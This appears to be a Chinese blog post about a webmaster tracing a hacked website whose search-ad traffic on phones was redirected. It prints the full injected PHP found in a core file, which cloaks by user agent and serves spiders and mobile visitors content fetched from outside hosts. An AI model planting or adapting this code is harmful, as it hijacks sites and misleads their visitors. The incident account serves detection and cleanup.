记一次寻找网站恶意被挂马的经历

此处省略一万句闹心

网站挂马

先解释下什么是网站挂马,我的理解是网站挂马就是你的运行的网站被入侵,被篡改了文件,导致用户访问网站A跳转到网站B,这种一般很好处理,检查你的网站代码是否多了一些异常命名文件,使用webshell 扫描下你的代码有没有异常,或者使用全局搜

set_time_limit(0); error_reporting(0);

看下文件里面的代码是否是这个网站的。

我的经历

晚上9点多,刚准备去洗漱就被公司领导的电话不得不暂停手里的工作,原因呢很简单,是因为网站推广被恶意跳转了,我一听就知道完蛋了,网站被黑了。

我先去使用百度搜索下自己公司的官网发现正常,有用site: 查询下网站,挨个点击也是正常,最后用手机搜下发现不正常了,被跳转了。找到客户端的问题,下面开始排查代码,入口文件代码也是正常的,没多也没少,有去用webshell 扫了下发下也是正常的。我就很奇怪了,我有去访问百度竞价的广告点击还是不正常,访问PC竞价正常,这个时候我的心中一万头那种奔腾而过。

没办法,我只能把代码先下载下来,然后去还原备份的代码,还原后访问正常了,这个时候不行啊,没找到问题,我今天夜里肯定睡不好了,我用下载的代码在虚拟机部署了一套,访问确实是有问题,我先用全局搜搜索,搜索下发现了代码里面核心文件不正常,里面多了一些代码,代码如下:

set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($url) {
    $ch = curl_init();
    //设置选项,包括URL
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    //执行并获取HTML文档内容
    $output = curl_exec($ch);
    //释放curl句柄
    curl_close($ch);
    //打印获得的数据
    return $output;
}

$filename1 = @end(explode('/', $url1));
function set_writeablelai($file_name)
{
    @chmod($file_name, 0444);
}
@chmod(FILE, 0444);
set_writeablelai($filename1);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://www.yinhe062.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url, ".tacc")or $tr(url, ".ga")or $tr(url, ".gq")or $tr(url, ".html") or $tr(url, ".xlsx") and $tr(url, "?"));
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai("http://www.yinhe062.com/x.php");
        ob_flush();
        flush();
    }
}
if (area){
    if (preg_match(mobile, ent)){
        $Content_mb=file_get_contents("http://www.vip20228.com/index.html");
        echo $Content_mb;
        exit;
    }
}

因为不是搞安全的,不多看代码运行逻辑还是能看懂的;最后抱着一些好奇心,使用 了某个查询网站发现很多被这个代码搞的。

总结

网站一定要有备份,代码框架一定要保持稳定的版本,我这次出现这个情况就是因为网站版本的框架核心文件没有及时更新导致有漏洞可以利用。始终要对技术抱着一个敬畏的心。不要利用自己的技术胡作非为。

阅读剩余
THE END